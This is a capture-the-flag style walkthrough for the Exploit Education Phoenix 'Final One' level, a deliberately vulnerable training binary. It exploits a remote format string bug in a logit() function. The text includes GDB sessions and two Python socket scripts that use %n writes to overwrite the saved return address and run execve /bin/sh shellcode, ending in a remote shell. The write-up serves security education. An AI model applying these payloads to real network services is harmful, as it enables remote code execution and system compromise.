Exploit Education | Phoenix | Final One Solution

Remote format string!

The description and source code can be found here:
http://exploit.education/phoenix/final-one/

I won’t be going into any detail about format string vulnerabilities. So if you’re not familiar with them, check out my solution to the Format Zero level for a brief overview.

There’s a lot more code to this level than the last one. However, format string bugs are usually pretty easy to find, hence the reason you don’t see them as much anymore. I just look for a call to one of the printf() family functions that doesn’t use a format string while printing something from user input. There’s only one that meets these requirements, it’s the last line in the logit() function:

void logit(char *pw) {
    char buf[2048];

    snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n",
        hostname, username, pw);

    fprintf(output, buf);
}

logit() is called from parser(), which is called from main(). The parser() function shows that there are 2 possible commands; username & login:

void parser() {
    char line[128];

    printf("[final1] $ ");

    while (fgets(line, sizeof(line) - 1, stdin)) {
        trim(line);
        if (strncmp(line, "username ", 9) == 0) {
            strcpy(username, line + 9);
        } else if (strncmp(line, "login ", 6) == 0) {
            if (username[0] == 0) {
                printf("invalid protocol\n");
            } else {
                logit(line + 6);
                printf("login failed\n");
            }
        }
        printf("[final1] $ ");
    }
}

I should be able to exploit the format string vulnerability with either the username or login commands. However, the only way I’ll be able to see the results is by running the binary directly and using the “‐‐test” argument:

user@phoenix-amd64:/opt/phoenix/i486$ ./final-one --test
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $ username %x.%x.%x
[final1] $ login %x.%x.%x
Login from testing:12121 as [0.0.69676f4c] with password [7266206e.74206d6f.69747365]
login failed

It’s definitely vulnerable. I’m going to try using the “username” command to place the pointers and the “login” command for the multiple %x and %n format specifiers. First, I’ll need to play around with it to figure out how many %x’s to use before the first %n. I’ll do that locally so I can see the output with the “‐‐test” argument:

user@phoenix-amd64:/opt/phoenix/i486$ echo -e "username AAAABBBB\nlogin %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x" | ./final-one --test
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $ [final1] $ Login from testing:12121 as [AAAABBBB] with password [0.0.69676f4c.7266206e.74206d6f.69747365.313a676e.31323132.20736120.4141415b.42424241.77205d42]
login failed
[final1] $

Here, you can see it took 10 %x’s to get to the A’s. But it doesn’t line up nicely. The first character of that particular word (4-bytes) is a 0x5b, the open bracket ([) character. I’ll need to use three A’s before the pointer.

From here, I’ll switch to using the remote process for debugging. I’ll use GDB to find where the saved return pointer is for the logit() function.

Starting the process:

user@phoenix-amd64:~$ nc 127.1 64014
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $

Attaching GDB to the process, setting a breakpoint, and continuing:

user@phoenix-amd64:~$ sudo -i
[sudo] password for user:

root@phoenix-amd64:~# ps aux | grep final-one
phoenix+   293  0.6  0.0    736     4 ?        Ss   12:00   0:00 /opt/phoenix/i486/final-one
root       316  0.0  0.0   6888   984 pts/1    S+   12:00   0:00 grep final-one

root@phoenix-amd64:~# gdb -q -p 293
GEF for linux ready, type `gef' to start, `gef config' to configure
78 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Attaching to process 293
...

gef➤  disas logit
Dump of assembler code for function logit:
   ...
   0x08048827 <+66>:    call   0x80485a0 <fprintf@plt>
   0x0804882c <+71>:    add    esp,0x10
   0x0804882f <+74>:    nop
   0x08048830 <+75>:    leave
   0x08048831 <+76>:    ret
End of assembler dump.

gef➤  b *logit+66
Breakpoint 1 at 0x8048827

gef➤  c
Continuing.

Use the commands in the running program:

user@phoenix-amd64:~$ nc 127.1 64014
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $ username A
[final1] $ login B

Check the location of the saved return pointer back in GDB:

Breakpoint 1, 0x08048827 in logit ()
...

gef➤  info frame
Stack level 0, frame at 0xffffdca0:
 eip = 0x8048827 in logit; saved eip = 0x804892c
 called by frame at 0xffffdd40
 Arglist at 0xffffdc98, args:
 Locals at 0xffffdc98, Previous frame's sp is 0xffffdca0
 Saved registers:
  ebp at 0xffffdc98, eip at 0xffffdc9c

Now that I know the saved return pointer is stored at 0xffffdc9c, I’ll start writing an exploit script. First, I just want to make sure I can overwrite the saved return point with something. Since the end goal is to execute my own shellcode, I’ll put the shellcode in there right away so I can see the smallest value the first byte can be.

#!/usr/bin/env python2

import struct
import socket
import time

HOST = "127.0.0.1"
PORT = 64014

# Stored EIP @ 0xffffdc9c
RET = 0xffffdc9c
address = struct.pack("I", RET)

# http://shell-storm.org/shellcode/files/shellcode-841.php (21 bytes)
shellcode  = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
shellcode += "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

payload  = ""
payload += "username AAA"
payload += address
payload += shellcode
payload += "\nlogin %x%x%x%x%x%x%x%x%x%x%n"
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

print s.recv(1024).strip()
time.sleep(0.1)
print s.recv(12).strip()
raw_input("Press Enter to send the payload...")
s.sendall(payload + "\n")

while True:
    print s.recv(1024).strip(),
    s.sendall(raw_input() + "\n")

I added the time.sleep(0.1) line because without it, the first prompt wouldn’t show up as expected. Testing it out:

user@phoenix-amd64:~$ ./final-one.py
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $
Press Enter to send the payload...

In another terminal, I attach to the process and set the breakpoint:

root@phoenix-amd64:~# ps aux | grep final-one
user      2013  2.4  0.9  22352  9308 pts/0    S+   13:05   0:00 python2 ./final-one.py
phoenix+  2014  0.8  0.0    736     4 ?        Ss   13:05   0:00 /opt/phoenix/i486/final-one
root      2016  0.0  0.0   6888   984 pts/1    S+   13:05   0:00 grep final-one

root@phoenix-amd64:~# gdb -q -p 2014
...

gef➤  b *logit+66
Breakpoint 1 at 0x8048827

gef➤  c
Continuing.

I hit Enter to send the payload on the first terminal and reach the breakpoint in GDB. This is right before the call to fprintf(), so first I’ll check the contents of the saved return pointer. After stepping to the next instruction, I should see that changed:

gef➤  x 0xffffdc9c
0xffffdc9c:     0x0804892c

gef➤  n
Program received signal SIGSEGV, Segmentation fault.
0xf7fba4a0 in printf_core () from target:/opt/phoenix/i486-linux-musl/lib/ld-musl-i386.so.1
...

gef➤  x 0xffffdc9c
0xffffdc9c:     0x0804892c

Oh crap. A segfault in the printf_core() function. And the saved return point never got changed. There may be some differences when running the binary locally vs connecting to the remote process. I’ll try to see what happened:

gef➤  x/i $pc
=> 0xf7fba4a0 <printf_core+1405>:       mov    DWORD PTR [eax],edi

gef➤  p/x $edi
$1 = 0x8e

gef➤  p/x $eax
$2 = 0xdc9c4141

I checked the instruction that the segfault happened at and see that it’s trying to move the value in EDI to the pointer stored in EAX. I looked at EDI and that’s probably the number of bytes that have been written so far. EAX looks like the pointer it’s going to write to, though, it’s only half write. The first half of the expected pointer is there, but the other half is two A’s. So I’m thinking, all I need to do is remove two A’s to fix the problem.

Testing it out again:

root@phoenix-amd64:~# ps aux | grep final-one
user      2208  4.0  0.9  22352  9308 pts/0    S+   13:44   0:00 python2 ./final-one.py
phoenix+  2209  1.0  0.0    736     4 ?        Ss   13:44   0:00 /opt/phoenix/i486/final-one
root      2211  0.0  0.0   6888   984 pts/1    S+   13:44   0:00 grep final-one

root@phoenix-amd64:~# gdb -q -p 2209
...

gef➤  b *logit+66
Breakpoint 1 at 0x8048827

gef➤  c
Continuing.
...

Breakpoint 1, 0x08048827 in logit ()
...

gef➤  x 0xffffdc9c
0xffffdc9c:     0x0804892c

gef➤  n
0x0804882c in logit ()
...

gef➤  x 0xffffdc9c
0xffffdc9c:     0x0000008c

Great success! From here it’s a simple matter to put any value I want in the saved return address pointer. I’ll simply need to point it to the start of my shellcode. For a detailed look at how to write an arbitrary value, check out my solution to the Format Three level.

There was quite a bit of trial-and-error here, especially to get the first byte of the overwritten return address to a specific value. I couldn’t use the same technique I used in my Format Four solution (and Format Three) of simply adding a bunch of spaces between the %n specifiers since there wasn’t enough space in the buf variable. Anyway, here’s the final exploit:

#!/usr/bin/env python2

import struct
import socket
import time

HOST = "127.0.0.1"
PORT = 64014

# Stored EIP @ 0xffffdc8c
RET = 0xffffdc8c
addresses  = struct.pack("I", RET)
addresses += "AAAA"
addresses += struct.pack("I", RET+1)
addresses += "AAAA"
addresses += struct.pack("I", RET+2)
addresses += "AAAA"
addresses += struct.pack("I", RET+3)

# http://shell-storm.org/shellcode/files/shellcode-841.php (21 bytes)
shellcode  = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
shellcode += "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

# Target address = 0xffffd4bc
byte1 = 0xbc
byte2 = 0xd4
byte3 = 0xff
byte4 = 0x1ff

# Minimum value in first byte: 164 (0xa4)
payload  = ""
payload += "username A"
payload += addresses
payload += shellcode
payload += "\nlogin "
payload += "%x" * 9
payload += "%0" + str(byte1-156) + "x"
payload += "%n"
payload += "%0" + str(byte2-byte1) + "x"
payload += "%n"
payload += "%0" + str(byte3-byte2) + "x"
payload += "%n"
payload += "%0" + str(byte4-byte3) + "x"
payload += "%n"
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

print s.recv(1024).strip()
time.sleep(0.1)
print s.recv(12).strip()
raw_input("Press Enter to send the payload...")
s.sendall(payload + "\n")

print "Shell now!"
while True:
    print s.recv(10024).strip()
    s.sendall(raw_input("$ ") + "\n")

Testing it out:

user@phoenix-amd64:~$ ./final-one.py 
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $
Press Enter to send the payload...
Shell now!
[final1] $
$ id
uid=520(phoenix-i386-final-one) gid=520(phoenix-i386-final-one) groups=520(phoenix-i386-final-one)

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.